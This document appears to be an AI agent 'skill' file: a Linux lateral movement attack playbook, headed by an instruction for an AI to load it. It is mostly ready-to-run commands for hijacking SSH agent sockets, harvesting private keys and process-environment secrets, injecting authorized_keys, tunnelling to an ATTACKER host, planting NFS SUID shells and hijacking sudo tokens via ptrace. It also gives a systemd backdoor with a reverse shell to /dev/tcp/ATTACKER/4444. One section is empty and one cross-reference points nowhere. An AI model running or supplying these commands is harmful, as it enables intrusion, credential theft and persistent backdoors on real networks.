SKILL: Linux Lateral Movement — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.

0. RELATED ROUTING

Before going deep, consider loading:

• linux-privilege-escalation if you need root on the current host before pivoting
• linux-security-bypass when restricted shells or security modules block lateral movement tools
• container-escape-techniques when the target network includes containerized hosts
• kubernetes-pentesting when pivoting into a Kubernetes cluster
• unauthorized-access-common-services for exploiting discovered internal services (Redis, MongoDB, etc.)

1. SSH AGENT HIJACKING

1.1 Find SSH Agent Sockets

# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Typical path: /tmp/ssh-XXXXXX/agent.PID

1.2 Hijack Agent Forwarding

# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345

# List available keys in the agent
ssh-add -l
# If keys appear → we can use them

# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host

# The agent owner won't notice — we're using their forwarded agent

1.3 Persistent Agent Monitoring

# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
    touch /tmp/.marker
    sleep 5
done

2. SSH KEY HARVESTING

2.1 Private Key Locations

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" -o -name "*.key" 2>/dev/null
# Also: /etc/ssh/ssh_host_*_key (MITM), /home/*/.ssh/id_*

# Find keys without passphrase:
for key in $(find / -name "id_*" ! -name "*.pub" 2>/dev/null); do
    ssh-keygen -y -P "" -f "$key" > /dev/null 2>&1 && echo "NO PASSPHRASE: $key"
done

2.2 known_hosts Parsing

# Hashed known_hosts (common default):
cat ~/.ssh/known_hosts
# May be hashed — use ssh-keygen to check against known IPs:
ssh-keygen -F 10.0.0.1 -f ~/.ssh/known_hosts

# Unhashed known_hosts → direct IP/hostname list
awk '{print $1}' ~/.ssh/known_hosts | sort -u

# Extract all hostnames/IPs from all users' known_hosts
cat /home/*/.ssh/known_hosts /root/.ssh/known_hosts 2>/dev/null \
  | awk '{print $1}' | tr ',' '\n' | sort -u

2.3 authorized_keys Injection

# Generate attacker keypair (on attacker box)
ssh-keygen -t ed25519 -f /tmp/pivot_key -N ""

# Inject public key (on compromised host)
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /root/.ssh/authorized_keys
echo "ssh-ed25519 AAAA...attacker_pubkey..." >> /home/admin/.ssh/authorized_keys

# SSH back in with our key
ssh -i /tmp/pivot_key root@target

3. CREDENTIAL HARVESTING LOCATIONS

3.1 System Credentials

3.2 Environment & Config Files

# Current process secrets
env | grep -iE "pass|key|secret|token|api|cred|auth"

# All process environments (root):
for pid in /proc/[0-9]*; do
    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|key|secret|token"
done

# Application configs (common credential locations):
find /var/www /opt /srv -name "wp-config.php" -o -name "settings.py" \
     -o -name "*.env" -o -name "database.yml" -o -name "docker-compose.yml" 2>/dev/null

# Keyrings & secret stores:
find / -name "*.keyring" -o -name ".vault-token" -o -path "*/.password-store/*.gpg" 2>/dev/null

4. D-BUS EXPLOITATION

4.1 Enumerate D-Bus Services

# List system bus services
dbus-send --system --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# List session bus services
dbus-send --session --dest=org.freedesktop.DBus \
  --type=method_call --print-reply \
  /org/freedesktop/DBus org.freedesktop.DBus.ListNames

# Introspect a service (find available methods)
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply \
  /org/freedesktop/systemd1 org.freedesktop.DBus.Introspectable.Introspect

4.2 Abuse systemd & PolicyKit via D-Bus

# Start a service via D-Bus (if policy allows):
dbus-send --system --dest=org.freedesktop.systemd1 \
  --type=method_call --print-reply /org/freedesktop/systemd1 \
  org.freedesktop.systemd1.Manager.StartUnit \
  string:"malicious.service" string:"replace"

# polkit actions available without auth:
pkaction --verbose 2>/dev/null | grep -B5 "implicit active: yes"

5. INTERNAL NETWORK PIVOTING

5.1 SSH Tunneling

# Local port forward: access INTERNAL_HOST:3306 via localhost:3306
ssh -L 3306:INTERNAL_HOST:3306 pivot@compromised-host

# Remote port forward: expose attacker service to internal network
ssh -R 8080:ATTACKER:8080 pivot@compromised-host

# Dynamic SOCKS proxy: route all traffic through pivot
ssh -D 1080 pivot@compromised-host
# Then: proxychains nmap -sT INTERNAL_RANGE

# SSH over SSH (multi-hop):
ssh -J user1@hop1,user2@hop2 target@final-host

5.2 Without SSH — Alternative Tunnels

# socat port forward
socat TCP-LISTEN:8080,fork TCP:INTERNAL_HOST:80 &

# ncat relay
ncat -l -p 8080 --sh-exec "ncat INTERNAL_HOST 80"

# /dev/tcp (Bash built-in, no tools needed)
exec 3<>/dev/tcp/INTERNAL_HOST/80
echo -e "GET / HTTP/1.0\r\nHost: INTERNAL_HOST\r\n\r\n" >&3
cat <&3

# chisel (SOCKS proxy over HTTP)
# On attacker: chisel server -p 8080 --reverse
# On target:   chisel client ATTACKER:8080 R:socks

5.3 Network Discovery from Compromised Host

ss -tlnp && ss -tnp                  # Listening & established connections
arp -a && ip neigh                    # Known adjacent hosts
cat /etc/resolv.conf                  # DNS servers
dig axfr internal.domain @dns 2>/dev/null   # Zone transfer

# Subnet sweep (bash-only, no tools):
for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i &>/dev/null && echo "ALIVE: 10.0.0.$i" & done; wait

# Port scan via /dev/tcp:
for port in 22 80 443 3306 5432 6379 8080; do
    (echo >/dev/tcp/10.0.0.1/$port) 2>/dev/null && echo "OPEN: $port"
done

6. SHARED FILESYSTEM EXPLOITATION

6.1 NFS Mounts

# Discover NFS shares
showmount -e FILESERVER_IP 2>/dev/null

# Check for no_root_squash (root maps to root)
mount -t nfs FILESERVER_IP:/share /mnt/nfs
# If no_root_squash: create SUID binaries visible to other hosts

# All hosts mounting the same share → SUID binary = root on all hosts
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash

6.2 SMB/CIFS Shares

# Enumerate shares
smbclient -L //FILESERVER_IP/ -N 2>/dev/null      # Null session
smbclient -L //FILESERVER_IP/ -U 'user%password'

# Mount and search for credentials
mount -t cifs //FILESERVER_IP/share /mnt/smb -o username=user,password=pass
find /mnt/smb -name "*.conf" -o -name "*.cfg" -o -name "*.kdbx" \
     -o -name "*.xlsx" -o -name "*.docx" 2>/dev/null

7. SUDO TOKEN REUSE (ptrace-Based)

# If another user has an active sudo session (timestamp not expired):
# And we can ptrace their process (same UID or root)

# Check sudo timestamp files:
ls -la /var/run/sudo/ts/ 2>/dev/null
ls -la /var/db/sudo/ 2>/dev/null
# Files here mean active sudo tokens

# ptrace-based hijack:
# Attach to the user's shell process
# Inject: sudo /bin/bash
# The injected sudo inherits the valid timestamp → no password needed

# Automated tool: sudo_inject
# https://github.com/nongiach/sudo_inject
# Injects into processes with valid sudo tokens

8. SYSTEMD SERVICE MANIPULATION

# Find writable unit files:
find /etc/systemd /usr/lib/systemd -writable -name "*.service" 2>/dev/null

# Inject into existing service (add ExecStartPre=):
# Or create new: /etc/systemd/system/backdoor.service
# [Service] Type=oneshot ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
systemctl daemon-reload && systemctl enable --now backdoor.service

9. LATERAL MOVEMENT DECISION TREE

Compromised host — where to move next?
│
├── SSH credentials available?
│   ├── Private keys found? → try on all known_hosts targets (§2)
│   ├── SSH agent running? → hijack socket (§1)
│   ├── Passwords in history/configs? → spray across hosts (§3)
│   └── authorized_keys writable on other hosts? → inject key (§2.3)
│
├── Network services discovered?
│   ├── Internal web apps? → tunnel + attack (§5.1)
│   ├── Databases (3306/5432/6379)? → check harvested creds (§3)
│   ├── SMB/NFS shares? → mount + search for creds/SUID (§6)
│   └── Kubernetes API (6443)? → load kubernetes-pentesting skill
│
├── Can reach other hosts?
│   ├── Direct SSH? → use keys/passwords
│   ├── Firewalled? → SSH tunnel or chisel (§5)
│   └── No tools? → /dev/tcp + bash (§5.2)
│
├── Root on current host?
│   ├── Read /etc/shadow → crack hashes → password reuse (§3)
│   ├── Dump /proc/*/environ → find service credentials (§3.2)
│   ├── Hijack sudo tokens → piggyback admin sessions (§7)
│   └── Modify systemd services → backdoor (§8)
│
├── D-Bus services available?
│   ├── Privileged services exposed? → method call abuse (§4)
│   └── polkit actions without auth? → privilege actions (§4.3)
│
└── No obvious path?
    ├── ARP scan + port sweep internal network (§5.3)
    ├── Passive credential sniffing (if cap_net_raw)
    ├── Wait for admin SSH → agent hijack (§1.3)
    └── Check for cloud metadata (169.254.169.254)